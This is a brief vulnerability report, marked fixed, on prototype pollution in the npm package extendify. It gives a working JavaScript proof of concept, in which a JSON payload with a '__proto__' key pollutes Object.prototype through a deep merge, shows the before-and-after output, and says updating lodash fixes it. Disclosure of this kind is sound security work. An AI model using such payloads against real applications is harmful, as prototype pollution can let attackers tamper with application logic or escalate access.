Prototype pollution (Fixed)

[luci-m-666]

This package is vulnerable to prototype pollution.
POC

var extendify = require("extendify")
extend = extendify({isDeep: true});
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
extend(obj, payload);
console.log("After : " + {}.polluted);

OUTPUT

Before : undefined
After : Yes! Its Polluted

This can be fixed by updating the lodash version. After fix the prototype pollution can be avoided.

Before : undefined
After : undefined